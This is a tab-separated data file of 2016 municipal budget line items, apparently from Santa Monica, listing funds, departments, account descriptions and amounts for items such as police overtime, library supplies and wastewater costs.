22138	BA	IS	1	General Fund	700	NON-DEPARTMENTAL	274	ALL OTHER TRANSACTIONS	566660.0	3400-3500 AIRPORT AVE		 Supplies and Expenses	2016	630349	0	0	0	0	0	0	0	0	0	0	0	630349
22139	BA	IS	4	Special Revenue Source Fund	400	COMMUNITY & CULTURAL SERVICES	262	HUMAN SERVICES	544510.0	HSGP VILLAGE TRAILER PARK DA	810.0	 Supplies and Expenses	2016	72796	0	0	0	0	0	0	0	0	0	0	0	72796
22140	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	560	CULTURAL AFFAIRS	569400.0	JACARANDA MUSIC	810.0	 Supplies and Expenses	2016	0	0	0	0	0	0	0	0	0	0	0	0	0
22141	BA	IS	1	General Fund	700	NON-DEPARTMENTAL	695	INTERFUND TRANSACTIONS	579964.0	BBB-GEN FUND REIMB-HR	908.0	 Supplies and Expenses	2016	-91979	0	0	0	0	0	0	0	0	0	0	0	-91979
22142	BA	IS	1	General Fund	620	HOUSING & ECONOMIC DEVELOPMENT	263	ADMINISTRATION & REDEVELOPMENT	409250.0	VERIZON STORE LICENSE AGREEMNT	618.0	Rentals	2016	-1020	0	0	0	0	0	0	0	0	0	0	0	-1020
22143	BA	IS	41	Big Blue Bus Fund	700	NON-DEPARTMENTAL	695	INTERFUND TRANSACTIONS	579962.0	BBB-GEN FUND REIMB-ISD	910.0	 Supplies and Expenses	2016	450752	0	0	0	0	0	0	0	0	0	0	0	450752
22144	BA	IS	11	Beach Recreation Fund	700	NON-DEPARTMENTAL	274	ALL OTHER TRANSACTIONS	511851.0	REIMBURSEMENT FROM OPEB TRUST	810.0	Salaries and Wages	2016	-417	0	0	0	0	0	0	0	0	0	0	0	-417
22145	BA	IS	12	Housing Authority Fund	700	NON-DEPARTMENTAL	274	ALL OTHER TRANSACTIONS	511850.0	OPEB PAYMENT ARC	816.0	Salaries and Wages	2016	16808	0	0	0	0	0	0	0	0	0	0	0	16808
22146	BA	IS	25	Water Fund	700	NON-DEPARTMENTAL	274	ALL OTHER TRANSACTIONS	511851.0	REIMBURSEMENT FROM OPEB TRUST	840.0	Salaries and Wages	2016	-30298	0	0	0	0	0	0	0	0	0	0	0	-30298
22147	BA	IS	58	Risk Management - Admin	700	NON-DEPARTMENTAL	274	ALL OTHER TRANSACTIONS	511850.0	OPEB PAYMENT ARC	808.0	Salaries and Wages	2016	18567	0	0	0	0	0	0	0	0	0	0	0	18567
22148	BA	IS	1	General Fund	130	FINANCE	224	REVENUE DIVISION	511746.0	MED TRUST - MISC. EMPL	804.0	Salaries and Wages	2016	38660	0	0	0	0	0	0	0	0	0	0	0	38660
22149	BA	IS	1	General Fund	130	FINANCE	224	REVENUE DIVISION		DISABILITY INSURANCE	804.0	Salaries and Wages	2016	13400	0	0	0	0	0	0	0	0	0	0	0	13400
22150	BA	IS	1	General Fund	130	FINANCE	224	REVENUE DIVISION	522900.0	MEMBERSHIPS AND DUES	804.0	 Supplies and Expenses	2016	2058	0	0	0	0	0	0	0	0	0	0	0	2058
22151	BA	IS	1	General Fund	130	FINANCE	224	REVENUE DIVISION	544110.0	PRINTED FORMS	804.0	 Supplies and Expenses	2016	11220	0	0	0	0	0	0	0	0	0	0	0	11220
22152	BA	IS	1	General Fund	130	FINANCE	224	REVENUE DIVISION	555060.0	PROFESSIONAL SERVICES	804.0	 Supplies and Expenses	2016	295190	0	0	0	0	0	0	0	0	0	0	0	295190
22153	BA	IS	1	General Fund	130	FINANCE	224	REVENUE DIVISION	555110.0	LEGAL EXPENSE	804.0	 Supplies and Expenses	2016	9800	0	0	0	0	0	0	0	0	0	0	0	9800
22154	BA	IS	1	General Fund	130	FINANCE	224	REVENUE DIVISION	552010.0	CUSTODIAL SERVICES	804.0	 Supplies and Expenses	2016	2436	0	0	0	0	0	0	0	0	0	0	0	2436
22155	BA	IS	1	General Fund	140	CITY ATTORNEY	231	CITY ATTORNEY	522900.0	MEMBERSHIPS AND DUES	804.0	 Supplies and Expenses	2016	17500	0	0	0	0	0	0	0	0	0	0	0	17500
22156	BA	IS	1	General Fund	140	CITY ATTORNEY	231	CITY ATTORNEY	555110.0	LEGAL EXPENSE	804.0	 Supplies and Expenses	2016	97000	0	0	0	0	0	0	0	0	0	0	0	97000
22157	BA	IS	1	General Fund	620	HOUSING & ECONOMIC DEVELOPMENT	263	ADMINISTRATION & REDEVELOPMENT	533020.0	GENERAL LIABILITY / AUTO	816.0	 Supplies and Expenses	2016	1923	0	0	0	0	0	0	0	0	0	0	0	1923
22158	BA	IS	1	General Fund	620	HOUSING & ECONOMIC DEVELOPMENT	263	ADMINISTRATION & REDEVELOPMENT	533220.0	BLDG / STRUCTURE MAINTENANCE	816.0	 Supplies and Expenses	2016	10384	0	0	0	0	0	0	0	0	0	0	0	10384
22159	BA	IS	1	General Fund	620	HOUSING & ECONOMIC DEVELOPMENT	263	ADMINISTRATION & REDEVELOPMENT	588090.0	FURNITURE & FURNISHINGS	816.0	 Supplies and Expenses	2016	1558	0	0	0	0	0	0	0	0	0	0	0	1558
22160	BA	IS	1	General Fund	620	HOUSING & ECONOMIC DEVELOPMENT	264	HOUSING	522110.0	UTIL - LIGHT / POWER	816.0	 Supplies and Expenses	2016	13394	0	0	0	0	0	0	0	0	0	0	0	13394
22161	BA	IS	1	General Fund	620	HOUSING & ECONOMIC DEVELOPMENT	264	HOUSING	533020.0	GENERAL LIABILITY / AUTO	816.0	 Supplies and Expenses	2016	7112	0	0	0	0	0	0	0	0	0	0	0	7112
22162	BA	IS	1	General Fund	620	HOUSING & ECONOMIC DEVELOPMENT	264	HOUSING	577040.0	AUDIT FEES	816.0	 Supplies and Expenses	2016	10384	0	0	0	0	0	0	0	0	0	0	0	10384
22163	BA	IS	1	General Fund	620	HOUSING & ECONOMIC DEVELOPMENT	264	HOUSING	588090.0	FURNITURE & FURNISHINGS	816.0	 Supplies and Expenses	2016	5296	0	0	0	0	0	0	0	0	0	0	0	5296
22164	BA	IS	1	General Fund	210	PLANNING & COMM. DEVELOPMENT	416	TRANS ENGINEERING & MGMT	511490.0	OVERTIME	816.0	Salaries and Wages	2016	20896	0	0	0	0	0	0	0	0	0	0	0	20896
22165	BA	IS	1	General Fund	210	PLANNING & COMM. DEVELOPMENT	416	TRANS ENGINEERING & MGMT	522900.0	MEMBERSHIPS AND DUES	816.0	 Supplies and Expenses	2016	2181	0	0	0	0	0	0	0	0	0	0	0	2181
22166	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	501	ADMINISTRATION & PLANNING SVCS	555210.0	TRAINING	810.0	 Supplies and Expenses	2016	1038	0	0	0	0	0	0	0	0	0	0	0	1038
22167	BA	IS	11	Beach Recreation Fund	400	COMMUNITY & CULTURAL SERVICES	522	BEACH ADMINISTRATION	555010.0	CONTRACTUAL SERVICES	810.0	 Supplies and Expenses	2016	40000	0	0	0	0	0	0	0	0	0	0	0	40000
22168	BA	IS	1	General Fund	210	PLANNING & COMM. DEVELOPMENT	321	BUILDING AND SAFETY	511490.0	OVERTIME	816.0	Salaries and Wages	2016	58998	0	0	0	0	0	0	0	0	0	0	0	58998
22169	BA	IS	1	General Fund	210	PLANNING & COMM. DEVELOPMENT	321	BUILDING AND SAFETY	522210.0	UTILITIES - TELEPHONE	816.0	 Supplies and Expenses	2016	17108	0	0	0	0	0	0	0	0	0	0	0	17108
22170	BA	IS	1	General Fund	210	PLANNING & COMM. DEVELOPMENT	321	BUILDING AND SAFETY	522320.0	METERED POSTAGE	816.0	 Supplies and Expenses	2016	2550	0	0	0	0	0	0	0	0	0	0	0	2550
22171	BA	IS	1	General Fund	210	PLANNING & COMM. DEVELOPMENT	321	BUILDING AND SAFETY	522820.0	CONFERENCES/MEETINGS/TRAVEL	816.0	 Supplies and Expenses	2016	7140	0	0	0	0	0	0	0	0	0	0	0	7140
22172	BA	IS	1	General Fund	210	PLANNING & COMM. DEVELOPMENT	321	BUILDING AND SAFETY	544110.0	PRINTED FORMS	816.0	 Supplies and Expenses	2016	7140	0	0	0	0	0	0	0	0	0	0	0	7140
22173	BA	IS	1	General Fund	210	PLANNING & COMM. DEVELOPMENT	266	CITY PLANNING/DEVELOPMENT REV.	511490.0	OVERTIME	816.0	Salaries and Wages	2016	9613	0	0	0	0	0	0	0	0	0	0	0	9613
22174	BA	IS	1	General Fund	210	PLANNING & COMM. DEVELOPMENT	266	CITY PLANNING/DEVELOPMENT REV.	522500.0	BOARDS AND COMMISSIONS	816.0	 Supplies and Expenses	2016	6675	0	0	0	0	0	0	0	0	0	0	0	6675
22175	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	560	CULTURAL AFFAIRS	569100.0	SM SYMPHONY	810.0	 Supplies and Expenses	2016	0	0	0	0	0	0	0	0	0	0	0	0	0
22176	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	560	CULTURAL AFFAIRS	569110.0	CA HERITAGE SQUARE MUSEUM	810.0	 Supplies and Expenses	2016	0	0	0	0	0	0	0	0	0	0	0	0	0
22177	BA	IS	1	General Fund	210	PLANNING & COMM. DEVELOPMENT	265	PCD - ADMINISTRATION	511000.0	PERMANENT EMPLOYEES	816.0	Salaries and Wages	2016	943792	0	0	0	0	0	0	0	0	0	0	0	943792
22178	BA	IS	1	General Fund	210	PLANNING & COMM. DEVELOPMENT	265	PCD - ADMINISTRATION	522820.0	CONFERENCES/MEETINGS/TRAVEL	816.0	 Supplies and Expenses	2016	8800	0	0	0	0	0	0	0	0	0	0	0	8800
22179	BA	IS	1	General Fund	210	PLANNING & COMM. DEVELOPMENT	265	PCD - ADMINISTRATION	544010.0	SPECIAL DEPARTMENT SUPPLIES	816.0	 Supplies and Expenses	2016	10000	0	0	0	0	0	0	0	0	0	0	0	10000
22180	BA	IS	31	Wastewater Fund	500	PUBLIC WORKS	661	WASTEWATER	401430.0	CONN/CAP PERMIT FEES	650.0	Charges for Service	2016	-6000	0	0	0	0	0	0	0	0	0	0	0	-6000
22181	BA	IS	31	Wastewater Fund	500	PUBLIC WORKS	661	WASTEWATER	402950.0	INT DEP / INVESTMENT	659.0	Investment Income	2016	-225000	0	0	0	0	0	0	0	0	0	0	0	-225000
22182	BA	IS	1	General Fund	100	CITY COUNCIL	201	CITY COUNCIL	511000.0	PERMANENT EMPLOYEES	804.0	Salaries and Wages	2016	100410	0	0	0	0	0	0	0	0	0	0	0	100410
22183	BA	IS	1	General Fund	100	CITY COUNCIL	201	CITY COUNCIL	522310.0	OFFICE SUPPLIES / EXPENSE	804.0	 Supplies and Expenses	2016	9728	0	0	0	0	0	0	0	0	0	0	0	9728
22184	BA	IS	1	General Fund	110	CITY MANAGER	202	CITY MANAGER - ADMINISTRATION	511490.0	OVERTIME	804.0	Salaries and Wages	2016	5167	0	0	0	0	0	0	0	0	0	0	0	5167
22185	BA	IS	1	General Fund	110	CITY MANAGER	202	CITY MANAGER - ADMINISTRATION	511500.0	TEMPORARY EMPLOYEES	804.0	Salaries and Wages	2016	5262	0	0	0	0	0	0	0	0	0	0	0	5262
22186	BA	IS	1	General Fund	110	CITY MANAGER	202	CITY MANAGER - ADMINISTRATION	511730.0	WORKERS' COMP INSURANCE	804.0	Salaries and Wages	2016	15889	0	0	0	0	0	0	0	0	0	0	0	15889
22187	BA	IS	1	General Fund	110	CITY MANAGER	202	CITY MANAGER - ADMINISTRATION	522900.0	MEMBERSHIPS AND DUES	804.0	 Supplies and Expenses	2016	87000	0	0	0	0	0	0	0	0	0	0	0	87000
22188	BA	IS	1	General Fund	110	CITY MANAGER	202	CITY MANAGER - ADMINISTRATION	544120.0	PERIODICALS	804.0	 Supplies and Expenses	2016	400	0	0	0	0	0	0	0	0	0	0	0	400
22189	BA	IS	1	General Fund	130	FINANCE	221	ADMINISTRATION	522900.0	MEMBERSHIPS AND DUES	804.0	 Supplies and Expenses	2016	5729	0	0	0	0	0	0	0	0	0	0	0	5729
22190	BA	IS	1	General Fund	130	FINANCE	222	FINANCIAL OPERATIONS	522900.0	MEMBERSHIPS AND DUES	804.0	 Supplies and Expenses	2016	1558	0	0	0	0	0	0	0	0	0	0	0	1558
22191	BA	IS	1	General Fund	130	FINANCE	224	REVENUE DIVISION	522310.0	OFFICE SUPPLIES / EXPENSE	804.0	 Supplies and Expenses	2016	0	0	0	0	0	0	0	0	0	0	0	0	0
22192	BA	IS	1	General Fund	130	FINANCE	224	REVENUE DIVISION	533580.0	COMPUTER EQUIP/SOFTWARE MAINT	804.0	 Supplies and Expenses	2016	0	0	0	0	0	0	0	0	0	0	0	0	0
22193	BA	IS	1	General Fund	130	FINANCE	224	REVENUE DIVISION	533230.0	SECURITY SYSTEMS	804.0	 Supplies and Expenses	2016	0	0	0	0	0	0	0	0	0	0	0	0	0
22194	BA	IS	1	General Fund	300	POLICE	304	ADMINISTRATIVE SERVICES DIV	511650.0	POLICE CADETS	806.0	Salaries and Wages	2016	191818	0	0	0	0	0	0	0	0	0	0	0	191818
22195	BA	IS	1	General Fund	300	POLICE	304	ADMINISTRATIVE SERVICES DIV	522160.0	TRANSFER STATION FEE	806.0	 Supplies and Expenses	2016	1174	0	0	0	0	0	0	0	0	0	0	0	1174
22196	BA	IS	1	General Fund	300	POLICE	304	ADMINISTRATIVE SERVICES DIV	522610.0	EQUIPMENT RENTAL	806.0	 Supplies and Expenses	2016	132653	0	0	0	0	0	0	0	0	0	0	0	132653
22197	BA	IS	1	General Fund	300	POLICE	304	ADMINISTRATIVE SERVICES DIV	544110.0	PRINTED FORMS	806.0	 Supplies and Expenses	2016	9086	0	0	0	0	0	0	0	0	0	0	0	9086
22198	BA	IS	1	General Fund	300	POLICE	305	OPERATIONS DIVISION	566160.0	CANINE PROGRAM	806.0	 Supplies and Expenses	2016	29645	0	0	0	0	0	0	0	0	0	0	0	29645
22199	BA	IS	1	General Fund	300	POLICE	306	STRATEGIC SERVICES	511490.0	OVERTIME	806.0	Salaries and Wages	2016	1121310	0	0	0	0	0	0	0	0	0	0	0	1121310
22200	BA	IS	1	General Fund	300	POLICE	306	STRATEGIC SERVICES	533160.0	PHOTO EQUIPMENT MAINTENANCE	806.0	 Supplies and Expenses	2016	1810	0	0	0	0	0	0	0	0	0	0	0	1810
22201	BA	IS	1	General Fund	300	POLICE	306	STRATEGIC SERVICES	588500.0	MISCELLANEOUS EQUIPMENT	806.0	 Supplies and Expenses	2016	3735	0	0	0	0	0	0	0	0	0	0	0	3735
22202	BA	IS	1	General Fund	300	POLICE	307	CRIMINAL INVESTIGATION DIV	511000.0	PERMANENT EMPLOYEES	806.0	Salaries and Wages	2016	9475137	0	0	0	0	0	0	0	0	0	0	0	9475137
22203	BA	IS	1	General Fund	300	POLICE	307	CRIMINAL INVESTIGATION DIV	544110.0	PRINTED FORMS	806.0	 Supplies and Expenses	2016	4750	0	0	0	0	0	0	0	0	0	0	0	4750
22204	BA	IS	30	Pier Fund	300	POLICE	623	HARBOR UNIT	511500.0	TEMPORARY EMPLOYEES		Salaries and Wages	2016	104532	0	0	0	0	0	0	0	0	0	0	0	104532
22205	BA	IS	30	Pier Fund	300	POLICE	623	HARBOR UNIT	544030.0	BADGE / AWARD / NAME PLATES		 Supplies and Expenses	2016	107	0	0	0	0	0	0	0	0	0	0	0	107
22206	BA	IS	1	General Fund	310	FIRE	312	FIRE - ADMINISTRATION	533020.0	GENERAL LIABILITY / AUTO	806.0	 Supplies and Expenses	2016	72891	0	0	0	0	0	0	0	0	0	0	0	72891
22207	BA	IS	1	General Fund	310	FIRE	312	FIRE - ADMINISTRATION	533210.0	BLDG OPER / CUST SUPPLIES	806.0	 Supplies and Expenses	2016	37336	0	0	0	0	0	0	0	0	0	0	0	37336
22208	BA	IS	1	General Fund	310	FIRE	313	FIRE SUPPRESSION AND RESCUE	544090.0	MEDICAL/FIRST AID SUPPLIES	806.0	 Supplies and Expenses	2016	152023	0	0	0	0	0	0	0	0	0	0	0	152023
22209	BA	IS	1	General Fund	310	FIRE	313	FIRE SUPPRESSION AND RESCUE	544170.0	UNIFORM / PROTECTIVE CLOTHING	806.0	 Supplies and Expenses	2016	126710	0	0	0	0	0	0	0	0	0	0	0	126710
22210	BA	IS	1	General Fund	310	FIRE	314	FIRE PREVENTION	511490.0	OVERTIME	806.0	Salaries and Wages	2016	395694	0	0	0	0	0	0	0	0	0	0	0	395694
22211	BA	IS	1	General Fund	310	FIRE	314	FIRE PREVENTION	522900.0	MEMBERSHIPS AND DUES	806.0	 Supplies and Expenses	2016	1737	0	0	0	0	0	0	0	0	0	0	0	1737
22212	BA	IS	41	Big Blue Bus Fund	600	BIG BLUE BUS	651	TRANSIT MAINTENANCE	522042.0	RECOVERY FROM SUBROGATION		 Supplies and Expenses	2016	-110000	0	0	0	0	0	0	0	0	0	0	0	-110000
22213	BA	IS	41	Big Blue Bus Fund	600	BIG BLUE BUS	651	TRANSIT MAINTENANCE	544193.0	CLEANING SUPPLIES		 Supplies and Expenses	2016	148535	0	0	0	0	0	0	0	0	0	0	0	148535
22214	BA	IS	1	General Fund	310	FIRE	315	TRAINING	511000.0	PERMANENT EMPLOYEES	806.0	Salaries and Wages	2016	516692	0	0	0	0	0	0	0	0	0	0	0	516692
22215	BA	IS	1	General Fund	310	FIRE	315	TRAINING	533120.0	SPECIAL EQUIP MAINT	806.0	 Supplies and Expenses	2016	543	0	0	0	0	0	0	0	0	0	0	0	543
22216	BA	IS	1	General Fund	310	FIRE	315	TRAINING	544040.0	BOOKS / PAMPHLETS	806.0	 Supplies and Expenses	2016	2714	0	0	0	0	0	0	0	0	0	0	0	2714
22217	BA	IS	1	General Fund	210	PLANNING & COMM. DEVELOPMENT	416	TRANS ENGINEERING & MGMT	522950.0	CNG FUEL	816.0	 Supplies and Expenses	2016	537	0	0	0	0	0	0	0	0	0	0	0	537
22218	BA	IS	41	Big Blue Bus Fund	600	BIG BLUE BUS	652	TRANSIT MAINTENANCE	511490.0	OVERTIME		Salaries and Wages	2016	179670	0	0	0	0	0	0	0	0	0	0	0	179670
22219	BA	IS	1	General Fund	410	LIBRARY	613	ADMIN. AND FACILITIES	522210.0	UTILITIES - TELEPHONE	812.0	 Supplies and Expenses	2016	18067	0	0	0	0	0	0	0	0	0	0	0	18067
22220	BA	IS	1	General Fund	410	LIBRARY	613	ADMIN. AND FACILITIES	522310.0	OFFICE SUPPLIES / EXPENSE	812.0	 Supplies and Expenses	2016	4940	0	0	0	0	0	0	0	0	0	0	0	4940
22221	BA	IS	1	General Fund	410	LIBRARY	613	ADMIN. AND FACILITIES	522540.0	ADVERTISING	812.0	 Supplies and Expenses	2016	95	0	0	0	0	0	0	0	0	0	0	0	95
22222	BA	IS	1	General Fund	410	LIBRARY	613	ADMIN. AND FACILITIES	533020.0	GENERAL LIABILITY / AUTO	812.0	 Supplies and Expenses	2016	68913	0	0	0	0	0	0	0	0	0	0	0	68913
22223	BA	IS	1	General Fund	410	LIBRARY	613	ADMIN. AND FACILITIES	533220.0	BLDG / STRUCTURE MAINTENANCE	812.0	 Supplies and Expenses	2016	66000	0	0	0	0	0	0	0	0	0	0	0	66000
22224	BA	IS	1	General Fund	410	LIBRARY	613	ADMIN. AND FACILITIES	544010.0	SPEC DEPT SUPPLIES	812.0	 Supplies and Expenses	2016	1995	0	0	0	0	0	0	0	0	0	0	0	1995
22225	BA	IS	1	General Fund	410	LIBRARY	613	ADMIN. AND FACILITIES	544010.0	SPEC DEPT SUPPLIES	812.0	 Supplies and Expenses	2016	4750	0	0	0	0	0	0	0	0	0	0	0	4750
22226	BA	IS	1	General Fund	410	LIBRARY	613	ADMIN. AND FACILITIES	544010.0	SPEC DEPT SUPPLIES	812.0	 Supplies and Expenses	2016	1405	0	0	0	0	0	0	0	0	0	0	0	1405
22227	BA	IS	1	General Fund	410	LIBRARY	613	ADMIN. AND FACILITIES	544110.0	PRINTED FORMS	812.0	 Supplies and Expenses	2016	9795	0	0	0	0	0	0	0	0	0	0	0	9795
22228	BA	IS	1	General Fund	410	LIBRARY	613	ADMIN. AND FACILITIES	544170.0	UNIF/PROTECIVE CLOTHING	812.0	 Supplies and Expenses	2016	6200	0	0	0	0	0	0	0	0	0	0	0	6200
22229	BA	IS	1	General Fund	410	LIBRARY	613	ADMIN. AND FACILITIES	555010.0	CONTRACTUAL SERVICES	812.0	 Supplies and Expenses	2016	109000	0	0	0	0	0	0	0	0	0	0	0	109000
22230	BA	IS	1	General Fund	410	LIBRARY	614	INFORMATION MANAGEMENT	555060.0	PROFESSIONAL SERVICES	812.0	 Supplies and Expenses	2016	63414	0	0	0	0	0	0	0	0	0	0	0	63414
22231	BA	IS	1	General Fund	410	LIBRARY	615	REFERENCE SERVICES	511000.0	PERMANENT EMPLOYEES	812.0	Salaries and Wages	2016	1651797	0	0	0	0	0	0	0	0	0	0	0	1651797
22232	BA	IS	1	General Fund	500	PUBLIC WORKS	401	ADMINISTRATIVE SERVICES (PW)	555210.0	TRAINING	808.0	 Supplies and Expenses	2016	1600	0	0	0	0	0	0	0	0	0	0	0	1600
22233	BA	IS	1	General Fund	500	PUBLIC WORKS	402	ENGINEERING	511000.0	PERMANENT EMPLOYEES	808.0	Salaries and Wages	2016	3060919	0	0	0	0	0	0	0	0	0	0	0	3060919
22234	BA	IS	1	General Fund	500	PUBLIC WORKS	402	ENGINEERING	522910.0	VEHICLES - FUELS / LUBRICATION	808.0	 Supplies and Expenses	2016	317	0	0	0	0	0	0	0	0	0	0	0	317
22235	BA	IS	27	Resource Recovery & Recyc Fund	500	PUBLIC WORKS	441	RESOURCE RECOVERY & RECYCLING	511000.0	PERMANENT EMPLOYEES	808.0	Salaries and Wages	2016	5591161	0	0	0	0	0	0	0	0	0	0	0	5591161
22236	BA	IS	27	Resource Recovery & Recyc Fund	500	PUBLIC WORKS	441	RESOURCE RECOVERY & RECYCLING	522110.0	UTIL - LIGHT / POWER	808.0	 Supplies and Expenses	2016	25462	0	0	0	0	0	0	0	0	0	0	0	25462
22237	BA	IS	27	Resource Recovery & Recyc Fund	500	PUBLIC WORKS	441	RESOURCE RECOVERY & RECYCLING	555060.0	PROFESSIONAL SERVICES	808.0	 Supplies and Expenses	2016	170000	0	0	0	0	0	0	0	0	0	0	0	170000
22238	BA	IS	27	Resource Recovery & Recyc Fund	500	PUBLIC WORKS	441	RESOURCE RECOVERY & RECYCLING	544270.0	BIN PARTS	808.0	 Supplies and Expenses	2016	75000	0	0	0	0	0	0	0	0	0	0	0	75000
22239	BA	IS	37	Cemetery Fund	500	PUBLIC WORKS	641	CEMETERY	522110.0	UTIL - LIGHT / POWER	808.0	 Supplies and Expenses	2016	16124	0	0	0	0	0	0	0	0	0	0	0	16124
22240	BA	IS	37	Cemetery Fund	500	PUBLIC WORKS	641	CEMETERY	533120.0	SPECIAL EQUIP MAINT	808.0	 Supplies and Expenses	2016	5100	0	0	0	0	0	0	0	0	0	0	0	5100
22241	BA	IS	31	Wastewater Fund	500	PUBLIC WORKS	661	WASTEWATER	522110.0	UTIL - LIGHT / POWER	850.0	 Supplies and Expenses	2016	4148	0	0	0	0	0	0	0	0	0	0	0	4148
22242	BA	IS	31	Wastewater Fund	500	PUBLIC WORKS	661	WASTEWATER	522130.0	UTILITIES - WATER	850.0	 Supplies and Expenses	2016	2484	0	0	0	0	0	0	0	0	0	0	0	2484
22243	BA	IS	31	Wastewater Fund	500	PUBLIC WORKS	661	WASTEWATER	544170.0	UNIFORM / PROTECTIVE CLOTHING	848.0	 Supplies and Expenses	2016	15575	0	0	0	0	0	0	0	0	0	0	0	15575
22244	BA	IS	31	Wastewater Fund	500	PUBLIC WORKS	661	WASTEWATER	522650.0	OTHER OPERATING RENT	866.0	 Supplies and Expenses	2016	235247	0	0	0	0	0	0	0	0	0	0	0	235247
22245	BA	IS	25	Water Fund	500	PUBLIC WORKS	671	WATER	522900.0	MEMBERSHIPS AND DUES	820.0	 Supplies and Expenses	2016	9288	0	0	0	0	0	0	0	0	0	0	0	9288
22246	BA	IS	25	Water Fund	500	PUBLIC WORKS	671	WATER	522910.0	VEHICLES - FUELS / LUBRICATION	848.0	 Supplies and Expenses	2016	33993	0	0	0	0	0	0	0	0	0	0	0	33993
22247	BA	IS	25	Water Fund	500	PUBLIC WORKS	671	WATER	511040.0	COUNCIL/BOARD ALLOWANCE	840.0	Salaries and Wages	2016	2400	0	0	0	0	0	0	0	0	0	0	0	2400
22248	BA	IS	1	General Fund	700	NON-DEPARTMENTAL	695	INTERFUND TRANSACTIONS	577720.0	CDBG REIMBURSEMENT-HUMAN SVCS	908.0	 Supplies and Expenses	2016	-55000	0	0	0	0	0	0	0	0	0	0	0	-55000
22249	BA	IS	30	Pier Fund	700	NON-DEPARTMENTAL	695	INTERFUND TRANSACTIONS	570250.0	GEN FD REIMBURSEMENT FROM PIER		 Supplies and Expenses	2016	197842	0	0	0	0	0	0	0	0	0	0	0	197842
22250	BA	IS	31	Wastewater Fund	700	NON-DEPARTMENTAL	695	INTERFUND TRANSACTIONS	578250.0	STORMWATER / WASTEWATER		 Supplies and Expenses	2016	-1170472	0	0	0	0	0	0	0	0	0	0	0	-1170472
22251	BA	IS	57	Self-insurance, Bus Fund	700	NON-DEPARTMENTAL	233	BUS	555060.0	PROFESSIONAL SERVICES	862.0	 Supplies and Expenses	2016	19000	0	0	0	0	0	0	0	0	0	0	0	19000
22252	BA	IS	57	Self-insurance, Bus Fund	700	NON-DEPARTMENTAL	695	INTERFUND TRANSACTIONS	577500.0	TRANSFERS FROM / TO FUND	910.0	 Supplies and Expenses	2016	303107	0	0	0	0	0	0	0	0	0	0	0	303107
22253	BA	IS	59	Self-insur, Workers' Comp Fund	700	NON-DEPARTMENTAL	695	INTERFUND TRANSACTIONS	577500.0	TRANSFERS FROM / TO FUND	910.0	 Supplies and Expenses	2016	1479879	0	0	0	0	0	0	0	0	0	0	0	1479879
22254	BA	IS	27	Resource Recovery & Recyc Fund	500	PUBLIC WORKS	441	RESOURCE RECOVERY & RECYCLING	400750.0	INT DEP / INVESTMENT	659.0	Investment Income	2016	-110000	0	0	0	0	0	0	0	0	0	0	0	-110000
22255	BA	IS	27	Resource Recovery & Recyc Fund	500	PUBLIC WORKS	441	RESOURCE RECOVERY & RECYCLING	404170.0	OTHER REVENUE - MISCELLANEOUS	662.0	Other	2016	-154500	0	0	0	0	0	0	0	0	0	0	0	-154500
22256	BA	IS	37	Cemetery Fund	500	PUBLIC WORKS	641	CEMETERY	402200.0	CEMETERY LOT SALES	650.0	Charges for Service	2016	-548454	0	0	0	0	0	0	0	0	0	0	0	-548454
22257	BA	IS	56	Self-insur, General Liab/Auto	700	NON-DEPARTMENTAL	232	COMPREHENSIVE	402950.0	INT DEP / INVESTMENT	659.0	Investment Income	2016	-200000	0	0	0	0	0	0	0	0	0	0	0	-200000
22258	BA	IS	57	Self-insurance, Bus Fund	700	NON-DEPARTMENTAL	233	BUS	402950.0	INT DEP / INVESTMENT	659.0	Investment Income	2016	-55000	0	0	0	0	0	0	0	0	0	0	0	-55000
22259	BA	IS	1	General Fund	120	RECORDS & ELECTION SERVICES	211	R & ES(CITY CLERK)-ADMIN	405550.0	DOMESTIC PARTNERSHIP FLNG FEE	612.0	Charges for Service	2016	-400	0	0	0	0	0	0	0	0	0	0	0	-400
22260	BA	IS	1	General Fund	130	FINANCE	224	REVENUE DIVISION	401360.0	GEN PROM BUS LICENSE MAIN ST.	622.0	Other	2016	-6100	0	0	0	0	0	0	0	0	0	0	0	-6100
22261	BA	IS	1	General Fund	210	PLANNING & COMM. DEVELOPMENT	267	STRATEGIC & TRANSP. PLANNING	510000.0	SALARIES AND WAGES	816.0	Salaries and Wages	2016	0	0	0	0	0	0	0	0	0	0	0	0	0
22262	BA	IS	1	General Fund	210	PLANNING & COMM. DEVELOPMENT	267	STRATEGIC & TRANSP. PLANNING	511500.0	TEMPORARY EMPLOYEES	816.0	Salaries and Wages	2016	77185	0	0	0	0	0	0	0	0	0	0	0	77185
22263	BA	IS	1	General Fund	210	PLANNING & COMM. DEVELOPMENT	267	STRATEGIC & TRANSP. PLANNING	522310.0	OFFICE SUPPLIES / EXPENSE	816.0	 Supplies and Expenses	2016	14485	0	0	0	0	0	0	0	0	0	0	0	14485
22264	BA	IS	1	General Fund	310	FIRE	314	FIRE PREVENTION	588070.0	EDUC & RECREATIONAL EQUIPMENT	806.0	 Supplies and Expenses	2016	0	0	0	0	0	0	0	0	0	0	0	0	0
22265	BA	IS	27	Resource Recovery & Recyc Fund	500	PUBLIC WORKS	441	RESOURCE RECOVERY & RECYCLING	522540.0	ADVERTISING		 Supplies and Expenses	2016	80000	0	0	0	0	0	0	0	0	0	0	0	80000
22266	BA	IS	27	Resource Recovery & Recyc Fund	500	PUBLIC WORKS	441	RESOURCE RECOVERY & RECYCLING	588040.0	COMMUNICATIONS SYSTEMS		 Supplies and Expenses	2016	15000	0	0	0	0	0	0	0	0	0	0	0	15000
22267	BA	IS	31	Wastewater Fund	500	PUBLIC WORKS	661	WASTEWATER	555030.0	EMPLOYEE MEDICAL EXAMS		 Supplies and Expenses	2016	4153	0	0	0	0	0	0	0	0	0	0	0	4153
22268	BA	IS	31	Wastewater Fund	500	PUBLIC WORKS	661	WASTEWATER	577220.0	INTEREST EXPENSE - BONDS		 Supplies and Expenses	2016	266550	0	0	0	0	0	0	0	0	0	0	0	266550
22269	BA	IS	37	Cemetery Fund	500	PUBLIC WORKS	641	CEMETERY	511730.0	WORKERS' COMP INSURANCE	808.0	Salaries and Wages	2016	51595	0	0	0	0	0	0	0	0	0	0	0	51595
22270	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	560	CULTURAL AFFAIRS	522620.0	RENT	810.0	 Supplies and Expenses	2016	73322	0	0	0	0	0	0	0	0	0	0	0	73322
